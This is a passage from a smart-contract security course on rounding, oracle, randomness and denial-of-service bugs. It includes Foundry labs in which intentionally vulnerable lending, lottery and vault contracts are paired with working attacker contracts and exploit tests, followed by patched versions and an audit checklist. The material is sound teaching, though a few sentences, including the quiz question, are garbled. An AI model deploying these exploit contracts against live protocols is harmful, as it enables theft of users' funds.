// Solidity 0.7.x — vulnerable
function transfer(address to, uint256 amount) public {
    require(balances[msg.sender] - amount >= 0); // ← always true; uint can't be < 0
    balances[msg.sender] -= amount;              // ← underflows to huge number
    balances[to] += amount;
}

You’ll still see this pattern in old contracts on chain or in forks that never migrated. Note when auditing a codebase whose pragma is < 0.8.

Modern bugs come from explicit unchecked blocks or assembly — those bypass the auto-check. Audit signal: every unchecked deserves a comment explaining why it’s safe.

6.2 Rounding direction — the new dominant class

The post-0.8 bug isn’t overflow; it’s rounding in the wrong direction, exploited at scale.

6.2.1 ERC-4626 share-asset rounding

ERC-4626 vaults must specify rounding direction. The rule is round in favor of the protocol, against the user:

FunctionRounding direction
previewDeposit(assets) → sharesRound DOWN (user gets fewer shares)
previewMint(shares) → assetsRound UP (user pays more assets)
previewWithdraw(assets) → sharesRound UP (user burns more shares for the same withdrawal)
previewRedeem(shares) → assetsRound DOWN (user gets fewer assets)

Getting any of these backwards lets a user repeatedly nibble small amounts via the favorable side. Repeated over many txs (cheap on L2), this drains the vault.

6.2.2 The ERC-4626 inflation / “donation” attack (Lab 3)

The most famous rounding bug. Setup:

  1. Attacker is the first depositor. They deposit(1 wei) — they receive 1 share (totalShares = 1, totalAssets = 1).
  2. Attacker transfers a large amount (say, 10,000 underlying tokens) directly to the vault contract, bypassing deposit. Now totalShares = 1, totalAssets = 10,001.
  3. The exchange rate is now 1 share ≈ 10,001 tokens.
  4. A victim calls deposit(10,000). Naïve calculation: shares = 10,000 * totalShares / totalAssets = 10,000 * 1 / 10,001 = 0 (rounded down).
  5. Victim receives 0 shares but their 10,000 tokens enter the vault. The vault now has totalShares = 1, totalAssets = 20,001.
  6. Attacker redeem(1 share) → receives all 20,001 tokens. Net profit: 10,000 (the victim’s deposit) - 1 (attacker’s initial wei).

Fixes (OpenZeppelin’s modern ERC4626):

  1. Virtual shares + virtual assets (the OZ default in 5.x): the share-to-asset conversion uses (totalShares + 10^decimalsOffset) and (totalAssets + 1) instead of the raw values. The +1/+10^offset ensures that division never yields 0 unless deposit is genuinely 0, and donations are diluted by the virtual pool, making attacks unprofitable.
  2. Dead shares (Uniswap V2 pattern, also seen in many forks): on first mint, mint a tiny share to address(0) (or to the contract itself), so totalShares is never 1. This locks “minimum liquidity” forever — a small UX cost.
  3. Initial deposit by deployer (Morpho-style): the deployer seeds the vault with a known initial deposit, minting shares to a non-user address. The vault is never “empty + 1 share”.

OpenZeppelin’s blog post “A Novel Defense Against ERC4626 Inflation Attacks” is the canonical reference for the virtual-share-plus-decimal-offset construction. Use it as the default; don’t roll your own.

6.2.3 Euler 2023 — rounding in a different shape

Euler’s vulnerability was not a vanilla 4626 inflation attack — it was structurally similar but involved the bespoke donateToReserves function:

  • The function correctly burned eToken (collateral receipt) from the donor.
  • It did not burn dToken (debt receipt).
  • It did not re-check the donor’s health factor.

An attacker could borrow (mint dToken), then donateToReserves their eToken until they were sub-collateralized (because the eToken side decreased but the dToken side didn’t). At that point they were eligible for self-liquidation under Euler’s dynamic liquidation incentive, which gave huge discounts when health was very low. They self-liquidated, capturing the discount as profit.

Audit lessons from Euler:

  • Any function that moves tokens but doesn’t go through the standard deposit/withdraw must still re-check solvency.
  • Discontinuous liquidation incentives (huge bonus when health is very bad) create an arbitrage that an insider — or anyone with cheap capital — can exploit.
  • Auditors should ask “could the caller make themselves worse off on purpose to claim a bonus?“

6.3 Precision loss — division before multiplication

The standard Solidity mistake:

// BUG
uint256 fee = amount / 1000 * feeBps;     // loses precision when amount < 1000
 
// FIX
uint256 fee = amount * feeBps / 1000;     // multiply first

Even better — use Math.mulDiv(amount, feeBps, 1000) (OpenZeppelin) to avoid overflow on the intermediate product when amount * feeBps could exceed 2^256.

Math.mulDiv(x, y, denominator) computes floor((x*y) / denominator) using 512-bit intermediate math, never overflowing as long as the result fits in 256 bits. Companion: Math.mulDiv(x, y, denominator, Rounding) supports rounding direction (Floor, Ceil, Trunc, Expand) — useful for vault-style rounding.

6.3.1 Off-by-one in conversion

function withdraw(uint256 shares) external {
    uint256 assets = shares * totalAssets() / totalSupply();
    _burn(msg.sender, shares);
    asset.transfer(msg.sender, assets);
}

Issue: integer division. For dust amounts, assets == 0 — user burns shares for nothing. (User error, but if pattern is exploitable by the protocol — e.g., the protocol rounds up on fee charges and down on user payouts — it’s a finding.)

Always pair share/asset conversions in opposite-rounding pairs depending on whose-favor logic. Document the direction.

6.4 Token decimal assumptions

You will see this bug every audit.

Common decimal counts:

TokenDecimals
ETH (and most WETH variants)18
USDC6
USDT6
DAI18
WBTC8
Some governance tokens (e.g., shitcoins)varies, sometimes 2, 24, etc.

Anti-pattern:

// Treats everything as 1e18
function valueInUsd(IERC20 token, uint256 amount) public view returns (uint256) {
    uint256 price = oracle.getPrice(token); // in 1e8 (Chainlink USD)
    return (amount * price) / 1e8;
}

If token == USDC and amount == 1e6 (= 1 USDC), this returns 1e6 * 1e8 / 1e8 = 1e6. But your protocol thinks “1e18 = 1 USD”. So 1 USDC reads as “0.000000000001 USD”. You just lost 12 orders of magnitude.

Correct:

function valueInUsd(IERC20 token, uint256 amount, uint8 decimals) public view returns (uint256) {
    uint256 price = oracle.getPrice(token); // in 1e8
    // Normalize to 1e18 USD
    return (amount * price * 1e18) / (10**decimals * 1e8);
}

Or read decimals at call time: IERC20Metadata(address(token)).decimals() — but cache, since decimals() is a CALL.

6.4.1 The 6-decimal-USDC trap in 18-decimal-shares vault

A 4626 vault for USDC has assets in 1e6, shares default-decimals 1e18. The decimalsOffset defends. But if your custom vault hand-rolls share/asset math without virtual shares, even 1-wei donations of USDC against 1-wei shares produce a 1e12 inflation factor instantly — catastrophically worse than 18-decimal-asset vaults.

Audit signal: vaults for low-decimal underlyings (USDC, USDT, WBTC) need extra-careful inflation defense.

6.5 Rounding anti-pattern checklist

  • Division before multiplication (precision loss).
  • Share/asset conversion not paired with explicit rounding direction.
  • No virtual shares or dead shares in custom vault.
  • decimals() assumed to be 18 (or any fixed value) on user-supplied tokens.
  • Math.mulDiv not used for high-precision percent / rate math.
  • unchecked block without justification.
  • Fee calculation that rounds down on the protocol’s side and up on the user’s — flip.
  • Interest accrual that rounds in user’s favor (compounds against protocol over time).

7. Denial-of-Service Patterns

7.1 Unbounded loops

The contract iterates over a user-controllable collection:

function distributeRewards(address[] memory recipients) external {
    for (uint256 i = 0; i < recipients.length; i++) {
        rewards[recipients[i]] += 100;  // gas grows linearly
    }
}

If anyone can register a recipient, the loop eventually exceeds block gas limit. Function permanently unusable. Even if not “permanently”, a malicious actor inflates the array to make the function expensive enough that no honest user wants to pay.

Fix: chunked processing (distributeRewards(uint256 startIdx, uint256 count)), or pull-payment (each user claims their own reward).

7.2 Push payments to a reverter

function highestBidder() external {
    address payable prevWinner = currentWinner;
    require(msg.value > currentBid);
    currentBid = msg.value;
    currentWinner = payable(msg.sender);
    (bool ok,) = prevWinner.call{value: prevBid}("");  // push refund
    require(ok, "refund failed");
}

Attacker becomes currentWinner with a contract whose receive() always reverts. No one can outbid them — the refund always fails, the whole tx reverts. The auction is permanently stuck.

Fix: pull pattern. Track pending refunds; let users withdraw with withdrawRefund() — they can revert their own withdrawal, that’s fine.

7.3 External call revert in a loop

Iterating and calling external code on each iteration:

function payAll() external {
    for (uint256 i = 0; i < winners.length; i++) {
        winners[i].call{value: 1 ether}(""); // attacker reverts → whole tx reverts
    }
}

Attacker registers as a winner, makes their receive() revert. Whole payout function bricks for everyone.

Fix: use try/catch per iteration, or use pull payments, or store failed payouts for later retry.

7.4 Block gas limit exhaustion

A function may be technically valid but require more gas than fits in a block. State that grows over time (e.g., active-user arrays, validator sets) without a hard cap creates this risk.

Audit signal: any state collection that grows with user actions and is iterated anywhere in the codebase.

7.5 Storage growth grief

Less direct DoS: attacker fills your storage with dust. Cheap on L2s with low fees. If your reward math iterates per-user, scaling user count from 1k to 100k drastically increases gas costs.

Defense: per-user state should be mapping(address => ...) (constant-time lookup), not arrays. Iteration should be paginated or external (off-chain).


8. Gas Griefing (Brief)

Distinct from DoS. Gas griefing is when an attacker burns your gas to no purpose — increasing the cost of your operations without stealing.

Forms:

  • 63/64 rule abuse (covered in Tuan-05 §3): attacker callee burns 63/64 of forwarded gas, leaving caller insufficient gas for post-call logic.
  • Sub-call gas costs higher than expected (e.g., a token that pays out fees in 5 sub-transfers per transfer).
  • External contract that pumps SSTORE cost during a callback to force the caller’s tx into a different gas-cost regime.

Mitigation: cap forwarded gas (call{gas: 500_000}); audit external-call gas budgets; for batched user-supplied targets, set per-call gas limits.


9. Lab — Three Foundry PoCs

9.1 Lab setup

mkdir -p ~/web3-sec-lab/wk06 && cd ~/web3-sec-lab/wk06
forge init --no-commit oracle-randomness-rounding-lab
cd oracle-randomness-rounding-lab
forge install OpenZeppelin/openzeppelin-contracts --no-commit
forge install Uniswap/v2-core --no-commit
forge install Uniswap/v2-periphery --no-commit

Add to foundry.toml:

[profile.default]
solc_version = "0.8.24"
optimizer = true
optimizer_runs = 200
remappings = [
    "@openzeppelin/=lib/openzeppelin-contracts/",
    "@uniswap/v2-core/=lib/v2-core/",
]

9.2 Lab 1 — Spot-price oracle manipulation + flash loan

9.2.1 Vulnerable lending contract

// src/VulnLender.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
 
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
 
interface IUniswapV2Pair {
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function token0() external view returns (address);
    function token1() external view returns (address);
}
 
/// @notice INTENTIONALLY VULNERABLE. Reads spot price from a UniV2 pool.
contract VulnLender {
    using SafeERC20 for IERC20;
 
    IERC20 public immutable collateral;   // e.g., WETH
    IERC20 public immutable debtAsset;    // e.g., USDC
    IUniswapV2Pair public immutable pair; // WETH/USDC pool
    uint256 public constant LTV_BPS = 7500; // 75%
 
    mapping(address => uint256) public collateralOf;
    mapping(address => uint256) public debtOf;
 
    constructor(IERC20 _collateral, IERC20 _debt, IUniswapV2Pair _pair) {
        collateral = _collateral;
        debtAsset = _debt;
        pair = _pair;
    }
 
    /// @notice Returns price of collateral in debtAsset (scaled to 1e18).
    function getCollateralPrice() public view returns (uint256) {
        (uint112 r0, uint112 r1, ) = pair.getReserves();
        // Assume token0 = collateral, token1 = debtAsset (for the lab).
        // Real code must check pair.token0() / pair.token1() ordering.
        return (uint256(r1) * 1e18) / uint256(r0);
    }
 
    function deposit(uint256 amount) external {
        collateral.safeTransferFrom(msg.sender, address(this), amount);
        collateralOf[msg.sender] += amount;
    }
 
    function borrow(uint256 amount) external {
        uint256 collateralValue = (collateralOf[msg.sender] * getCollateralPrice()) / 1e18;
        uint256 maxDebt = (collateralValue * LTV_BPS) / 10_000;
        require(debtOf[msg.sender] + amount <= maxDebt, "undercollateralized");
        debtOf[msg.sender] += amount;
        debtAsset.safeTransfer(msg.sender, amount);
    }
}

9.2.2 Attacker contract (no real flash loan; uses provided capital)

For lab simplicity, we simulate the flash loan as a pre-funded loan. In production this would be IPool(AAVE_POOL).flashLoanSimple(...).

// src/Attacker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
 
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
 
interface IRouter {
    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);
}
 
interface ILender {
    function deposit(uint256) external;
    function borrow(uint256) external;
}
 
contract Attacker {
    IERC20 public immutable weth;
    IERC20 public immutable usdc;
    IRouter public immutable router;
    ILender public immutable lender;
 
    constructor(IERC20 _weth, IERC20 _usdc, IRouter _router, ILender _lender) {
        weth = _weth;
        usdc = _usdc;
        router = _router;
        lender = _lender;
    }
 
    /// @notice Step-by-step attack with provided USDC capital.
    function attack(uint256 usdcCapital) external {
        // 1. Receive flash-loaned USDC (simulated; assume msg.sender sent it).
        // 2. Swap USDC → WETH, skewing the pool's spot price up.
        usdc.approve(address(router), usdcCapital);
        address[] memory pathBuy = new address[](2);
        pathBuy[0] = address(usdc);
        pathBuy[1] = address(weth);
        uint256[] memory amounts = router.swapExactTokensForTokens(
            usdcCapital, 0, pathBuy, address(this), block.timestamp + 1
        );
        uint256 wethReceived = amounts[1];
 
        // 3. Deposit the WETH into Lender — it now thinks WETH is worth 20x reality.
        weth.approve(address(lender), wethReceived);
        lender.deposit(wethReceived);
 
        // 4. Borrow against the inflated valuation.
        // Compute max-borrow conservatively (subtract some buffer for rounding/fees).
        // For the lab we just borrow a known-safe number; in a real PoC, compute it.
        uint256 toBorrow = usdc.balanceOf(address(lender)) - 1; // drain almost all USDC
        lender.borrow(toBorrow);
 
        // 5. Swap WETH back to USDC to restore pool, then repay simulated loan.
        weth.approve(address(router), weth.balanceOf(address(this)));
        address[] memory pathSell = new address[](2);
        pathSell[0] = address(weth);
        pathSell[1] = address(usdc);
        router.swapExactTokensForTokens(
            weth.balanceOf(address(this)), 0, pathSell, address(this), block.timestamp + 1
        );
 
        // 6. Send everything to deployer. They started with usdcCapital;
        //    if final balance > usdcCapital, attack profited.
        usdc.transfer(tx.origin, usdc.balanceOf(address(this)));
    }
}

9.2.3 Test harness

// test/SpotOracleAttack.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
 
import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../src/VulnLender.sol";
import "../src/Attacker.sol";
 
// Minimal mock ERC20 with a faucet for the lab.
contract MockERC20 is ERC20 {
    constructor(string memory n, string memory s) ERC20(n, s) {}
    function mint(address to, uint256 amount) external { _mint(to, amount); }
}
 
// Minimal UniV2-like pool that supports getReserves() and a swap function.
// For brevity, omit the full UniV2 router/pair. Use the real lib if you prefer.
contract MockPair is IUniswapV2Pair {
    address public immutable override token0;
    address public immutable override token1;
    uint112 public r0;
    uint112 public r1;
 
    constructor(address _t0, address _t1) { token0 = _t0; token1 = _t1; }
 
    function setReserves(uint112 _r0, uint112 _r1) external {
        r0 = _r0; r1 = _r1;
    }
 
    function getReserves() external view override returns (uint112, uint112, uint32) {
        return (r0, r1, uint32(block.timestamp));
    }
}
 
contract SpotOracleAttackTest is Test {
    MockERC20 weth;
    MockERC20 usdc;
    MockPair pair;
    VulnLender lender;
 
    function setUp() public {
        weth = new MockERC20("WETH", "WETH");
        usdc = new MockERC20("USDC", "USDC");
        pair = new MockPair(address(weth), address(usdc));
 
        // Initial pool: 1000 WETH, 3,000,000 USDC → 3000 USDC/WETH
        pair.setReserves(1000 ether, 3_000_000 ether);
 
        lender = new VulnLender(IERC20(address(weth)), IERC20(address(usdc)), pair);
 
        // Fund the lender with 5M USDC of debt-asset liquidity.
        usdc.mint(address(lender), 5_000_000 ether);
    }
 
    function test_priceReadFromReserves() public view {
        uint256 p = lender.getCollateralPrice();
        emit log_named_uint("spot price (USDC per WETH, 1e18)", p);
        assertApproxEqRel(p, 3000 ether, 0.01e18);
    }
 
    function test_manipulationInflatesPrice() public {
        // Skew the pool: simulate swapping in 10M USDC for ~770 WETH.
        // x*y = 1000 * 3,000,000 = 3,000,000,000
        // new r1 = 13,000,000  =>  new r0 = 230.77 WETH
        pair.setReserves(uint112(230.77 ether), uint112(13_000_000 ether));
        uint256 p = lender.getCollateralPrice();
        emit log_named_uint("manipulated price", p);
        assertGt(p, 50_000 ether); // >50k USDC/WETH after skew
    }
 
    function test_drainPoC_simplified() public {
        // Skip the full router/swap for brevity; manually set the reserves
        // (as if a flash-loaned swap had just happened) and execute the borrow.
        pair.setReserves(uint112(230.77 ether), uint112(13_000_000 ether));
 
        address attacker = address(0xBEEF);
        // Hand the attacker 770 "WETH" (representing what they got from the swap).
        weth.mint(attacker, 770 ether);
        vm.startPrank(attacker);
        weth.approve(address(lender), 770 ether);
        lender.deposit(770 ether);
 
        // At manipulated price, 770 WETH ≈ $43.3M; LTV 75% ⇒ borrow up to ~$32.5M.
        // Lender only has 5M USDC, so we drain that.
        lender.borrow(5_000_000 ether - 1);
        vm.stopPrank();
 
        assertEq(usdc.balanceOf(attacker), 5_000_000 ether - 1, "attacker drained Lender");
        assertLt(usdc.balanceOf(address(lender)), 2, "Lender effectively drained");
    }
}

Run:

forge test --match-contract SpotOracleAttackTest -vvv

Patched version: replace getCollateralPrice with a TWAP read, or a Chainlink read. Confirm the test fails (attacker can no longer borrow against inflated price).

// Patched: Chainlink-based price
interface AggregatorV3Interface {
    function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80);
    function decimals() external view returns (uint8);
}
 
contract LenderFixed {
    AggregatorV3Interface public immutable priceFeed;
    uint256 public immutable maxStaleness;
    // ... same fields as before
 
    function getCollateralPrice() public view returns (uint256) {
        (uint80 roundId, int256 answer, , uint256 updatedAt, uint80 answeredInRound) =
            priceFeed.latestRoundData();
        require(answer > 0, "bad price");
        require(updatedAt != 0, "incomplete round");
        require(block.timestamp - updatedAt <= maxStaleness, "stale");
        require(answeredInRound >= roundId, "round mismatch");
        uint8 d = priceFeed.decimals();
        return d < 18
            ? uint256(answer) * 10**(18 - d)
            : uint256(answer) / 10**(d - 18);
    }
}

9.3 Lab 2 — Insecure randomness lottery

// src/VulnLottery.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
 
contract VulnLottery {
    address public lastWinner;
    uint256 public ticketPrice = 0.01 ether;
 
    function play() external payable returns (bool won) {
        require(msg.value == ticketPrice, "wrong price");
        uint256 r = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender, block.prevrandao)));
        if (r % 10 == 0) {
            // 10% win rate; pay out 5x
            won = true;
            lastWinner = msg.sender;
            (bool ok,) = msg.sender.call{value: ticketPrice * 5}("");
            require(ok);
        }
    }
 
    receive() external payable {}
}

The bug: r is fully determined by (block.timestamp, msg.sender, block.prevrandao) — all values are knowable at execution time. A contract can call into the lottery, simulate the result via staticcall or local computation, and revert if not winning.

9.3.1 Attacker

// src/LotteryAttacker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
 
interface IVulnLottery {
    function play() external payable returns (bool);
    function ticketPrice() external view returns (uint256);
}
 
contract LotteryAttacker {
    IVulnLottery public immutable lottery;
 
    constructor(IVulnLottery _l) payable { lottery = _l; }
 
    function attack() external {
        // Pre-compute the random for THIS block using the same formula.
        uint256 r = uint256(keccak256(abi.encodePacked(
            block.timestamp, address(this), block.prevrandao
        )));
        require(r % 10 == 0, "not a winning block");
        lottery.play{value: lottery.ticketPrice()}();
    }
 
    receive() external payable {}
}

The attacker calls attack() repeatedly across blocks until one block’s combination of (timestamp, prevrandao) gives a winning hash. They can also bias by calling at controlled timestamps (since proposers have some flexibility on timestamp).

Even cheaper: a try-and-revert pattern from a wrapping contract that calls attack() and revert()s on loss, paying only gas (no ticket cost):

contract NoLossAttacker {
    IVulnLottery public immutable lottery;
    constructor(IVulnLottery _l) payable { lottery = _l; }
 
    function trial() external {
        uint256 r = uint256(keccak256(abi.encodePacked(
            block.timestamp, address(this), block.prevrandao
        )));
        require(r % 10 == 0, "not winning, revert and pay no ticket");
        lottery.play{value: lottery.ticketPrice()}();
    }
}

require(false) reverts the whole tx including the ETH spend. Attacker pays only gas (~30k) per attempt. They win the 50k gas attempt across the ~10 needed tries for one ~5x payout. Net profit per success: 5 * ticketPrice - ticketPrice - ~10 * gasCost. For typical gas/ticket values, hugely positive.

9.3.2 Test

// test/LotteryAttack.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
 
import "forge-std/Test.sol";
import "../src/VulnLottery.sol";
import "../src/LotteryAttacker.sol";
 
contract LotteryAttackTest is Test {
    VulnLottery lottery;
 
    function setUp() public {
        lottery = new VulnLottery();
        // Pre-fund the lottery so it can pay out.
        vm.deal(address(lottery), 10 ether);
    }
 
    function test_findWinningBlock() public {
        LotteryAttacker attacker = new LotteryAttacker(IVulnLottery(address(lottery)));
        vm.deal(address(attacker), 1 ether);
 
        uint256 startBalance = address(attacker).balance;
 
        // Roll through blocks until a winning block is found.
        for (uint256 i = 0; i < 1000; i++) {
            vm.warp(block.timestamp + 1);  // increment timestamp
            vm.prevrandao(bytes32(uint256(i))); // randomize prevrandao
            try attacker.attack() {
                emit log_named_uint("won at block iteration", i);
                break;
            } catch {
                // not a winning block; keep trying
            }
        }
        uint256 endBalance = address(attacker).balance;
        assertGt(endBalance, startBalance, "attacker profited");
        emit log_named_uint("net profit (wei)", endBalance - startBalance);
    }
}

Run:

forge test --match-contract LotteryAttackTest -vvv

Patched version: use Chainlink VRF. Replace play() with a two-step requestPlay / fulfillRandomWords flow. The randomness is generated off-chain, signed, and verified — attacker cannot precompute it.

9.4 Lab 3 — ERC-4626 inflation / donation rounding

9.4.1 Naïve vulnerable vault

// src/NaiveVault.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
 
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
 
/// @notice Hand-rolled, deliberately vulnerable. No virtual shares, no dead shares.
contract NaiveVault is ERC20 {
    using SafeERC20 for IERC20;
 
    IERC20 public immutable asset;
 
    constructor(IERC20 _asset) ERC20("Naive Vault", "nVAULT") {
        asset = _asset;
    }
 
    function totalAssets() public view returns (uint256) {
        return asset.balanceOf(address(this));
    }
 
    function deposit(uint256 amount, address receiver) external returns (uint256 shares) {
        uint256 supply = totalSupply();
        if (supply == 0) {
            shares = amount;
        } else {
            shares = (amount * supply) / totalAssets();
        }
        require(shares > 0, "zero shares"); // (could be removed for pure bug demo)
        asset.safeTransferFrom(msg.sender, address(this), amount);
        _mint(receiver, shares);
    }
 
    function redeem(uint256 shares, address receiver) external returns (uint256 amount) {
        amount = (shares * totalAssets()) / totalSupply();
        _burn(msg.sender, shares);
        asset.safeTransfer(receiver, amount);
    }
}

9.4.2 Test exploiting it

// test/InflationAttack.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
 
import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../src/NaiveVault.sol";
 
contract MockToken is ERC20 {
    constructor() ERC20("Tok", "TOK") {}
    function mint(address to, uint256 amount) external { _mint(to, amount); }
}
 
contract InflationAttackTest is Test {
    MockToken token;
    NaiveVault vault;
 
    address attacker = address(0xA77ACC);
    address victim = address(0xBEEF);
 
    function setUp() public {
        token = new MockToken();
        vault = new NaiveVault(IERC20(address(token)));
 
        token.mint(attacker, 10_001 ether);
        token.mint(victim, 10_000 ether);
    }
 
    function test_inflationAttack() public {
        // Step 1: attacker deposits 1 wei to become first depositor.
        vm.startPrank(attacker);
        token.approve(address(vault), type(uint256).max);
        vault.deposit(1, attacker);
        assertEq(vault.balanceOf(attacker), 1, "attacker has 1 share");
        vm.stopPrank();
 
        // Step 2: attacker donates 10_000 ether DIRECTLY to vault (bypassing deposit).
        vm.prank(attacker);
        token.transfer(address(vault), 10_000 ether);
        emit log_named_uint("vault total assets after donation", vault.totalAssets());
        emit log_named_uint("vault total shares after donation", vault.totalSupply());
 
        // Step 3: victim tries to deposit 10_000 ether.
        vm.startPrank(victim);
        token.approve(address(vault), type(uint256).max);
        // shares = 10_000e18 * 1 / (10_000e18 + 1) = 0 (floor).
        // The require(shares > 0) reverts. Comment out the require for the bug-demo
        // path. For lab, we run with the require removed to show the full drain.
        vm.expectRevert(bytes("zero shares"));
        vault.deposit(10_000 ether, victim);
        vm.stopPrank();
    }
 
    // To exhibit the full drain, deploy a NaiveVault variant without the
    // `require(shares > 0)` line, or set the donation just below the deposit
    // (e.g., donate 9_999 ether). Then victim gets shares=1 (the minimum
    // possible), and attacker holds ~50% of supply with a tiny initial seed.
}

The require(shares > 0) is a partial mitigation (forces the victim’s tx to revert rather than donating their value to attacker). But it’s not sufficient: the attacker can calibrate the donation to be just under the victim’s deposit so that the victim receives exactly 1 share — still drastically diluted versus the attacker’s. Variant tests:

function test_inflationAttack_partialDilution() public {
    // Attacker: deposit 1 wei, donate just under victim's amount.
    vm.startPrank(attacker);
    token.approve(address(vault), type(uint256).max);
    vault.deposit(1, attacker);
    token.transfer(address(vault), 9_999 ether); // donation < victim's deposit
    vm.stopPrank();
 
    vm.startPrank(victim);
    token.approve(address(vault), type(uint256).max);
    uint256 shares = vault.deposit(10_000 ether, victim);
    emit log_named_uint("victim shares", shares); // ~1, even though deposit is 10_000 ether
    vm.stopPrank();
 
    // Attacker redeems all shares — holds 1 share of 2 total → gets half the vault.
    vm.prank(attacker);
    vault.redeem(1, attacker);
    emit log_named_uint("attacker recovered", token.balanceOf(attacker));
    // Attacker started with 10_001 ether; after donation+redeem, recovers
    // roughly half of the vault (their donation + half of victim's deposit).
    // Net profit ≈ 5_000 ether stolen from victim.
}

9.4.3 Patched version using OpenZeppelin ERC4626

// src/SafeVault.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
 
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC4626.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
 
contract SafeVault is ERC4626 {
    constructor(IERC20 _asset)
        ERC20("Safe Vault", "sVAULT")
        ERC4626(_asset)
    {}
 
    /// @dev Override to use a larger virtual-share decimal offset.
    /// Default is 0 (still safe but minimal); offset of 6 makes the
    /// share representation 1e6 times more precise than the asset,
    /// raising the cost of inflation by a factor of 1e6.
    function _decimalsOffset() internal pure override returns (uint8) {
        return 6;
    }
}

Test that the patched vault doesn’t have the bug:

function test_safeVault_resistsInflation() public {
    SafeVault safe = new SafeVault(IERC20(address(token)));
 
    vm.startPrank(attacker);
    token.approve(address(safe), type(uint256).max);
    safe.deposit(1, attacker);
    token.transfer(address(safe), 10_000 ether);
    vm.stopPrank();
 
    vm.startPrank(victim);
    token.approve(address(safe), type(uint256).max);
    uint256 shares = safe.deposit(10_000 ether, victim);
    vm.stopPrank();
 
    // With offset 6, victim still receives a meaningful share count.
    emit log_named_uint("victim shares in SafeVault", shares);
    assertGt(shares, 1e10, "victim got non-trivial shares");
 
    vm.prank(victim);
    uint256 redeemed = safe.redeem(shares, victim, victim);
    emit log_named_uint("victim redeemed", redeemed);
    // Victim's loss should be negligible (a few wei), not nearly-everything.
    assertGt(redeemed, 9_999 ether, "victim recovers ~all of their deposit");
}

Run all lab 3 tests:

forge test --match-contract InflationAttackTest -vvv

10. Anti-patterns Checklist (add to master)

Oracle:

  • Reads spot reserves / slot0 as price.
  • Chainlink with no staleness check.
  • Chainlink with no answer > 0 check.
  • Chainlink on L2 with no sequencer-uptime check.
  • Chainlink with hard-coded decimals.
  • Pyth getPriceUnsafe in production.
  • TWAP window < 30 minutes for lending / liquidation.
  • TWAP from a pool with <1M-at-risk action.
  • Single oracle on a sensitive action with no fallback.
  • Custom oracle write-key is a 1-of-1 EOA.

MEV / front-running:

  • Swap function with no slippage parameter or minOut.
  • Front-end default slippage > 1% on routine flows.
  • Liquidation flow paid as a flat % rather than a Dutch auction (PGA waste).
  • No private-mempool recommendation in user docs.

Randomness:

  • block.timestamp / block.number / blockhash / block.prevrandao used to choose a winner / outcome.
  • keccak256(block.X, msg.sender) used as random.
  • VRF fulfillRandomWords can revert and lose the result.
  • VRF re-requestable after seeing the result.
  • Commit-reveal without slashable bond for non-revealers.

Flash loans:

  • No re-check of solvency / health after donation / transfer-in / callback.
  • Liquidation incentive discontinuous (huge bonus at very low health).
  • “Flash-loan detection” used as a primary defense.

Rounding / integer:

  • Division before multiplication.
  • Vault using hand-rolled share math without virtual shares / dead shares.
  • Token decimals assumed to be 18.
  • Rounding direction not paired (deposit rounds same way as redeem).
  • unchecked block without comment.
  • Fees rounded in user’s favor; payouts rounded against user.

DoS / gas:

  • Function iterates over user-controllable array with no length cap.
  • Push payment to refund address.
  • External call inside a loop without try/catch.
  • Pool/list/registry grows with user actions and is iterated anywhere.
  • Gas not capped on user-supplied call targets in batched ops.

11. Trade-offs

DecisionOption AOption BAuditor’s view
Oracle architectureSpot priceTWAPTWAP always over spot, except for ultra-niche cases (e.g., a same-block invariant inside a single AMM)
Oracle sourceChainlink onlyChainlink + DEX TWAP cross-checkCross-check for liquidations and mint flows; single source for low-stakes views
TWAP window5 minutes60 minutes30–60 min for lending. Shorter only if pool depth is overwhelming relative to risk.
RandomnessChainlink VRFCommit-reveal with bondVRF unless cost is critical; VRF is now cheap on most chains
Vault inflation defenseDead sharesVirtual shares (OZ offset)OZ virtual shares is the modern default. Combine with _decimalsOffset() ≥ 6 for low-decimal underlyings (USDC, WBTC)
MEV-resistant tradingPublic mempool with slippagePrivate order flow + slippagePrivate order flow for any high-value trade; public is fine for <$1k swaps
DoS protectionBounded loops in codePull patternPull pattern when possible; bounded loops where pull doesn’t fit
Flash-loan resilienceDetect & block flash loansMake logic resilient at any tx-shapeResilience; detection is folklore-grade defense

12. Quiz (≥80% to advance)

  1. Q: A protocol reads pair.getReserves() from a Uniswap V2 WETH/USDC pool with 50M lending market. What’s the audit finding and severity? A: Spot-price oracle manipulation. An attacker can flash-loan stable capital, swap to skew the pool by orders of magnitude in a single tx, borrow against inflated valuation, swap back, repay loan, profit. Severity: Critical. The disparity between pool depth (50M) makes the attack highly profitable. Fix: TWAP over deep pool, Chainlink with staleness check, or both.

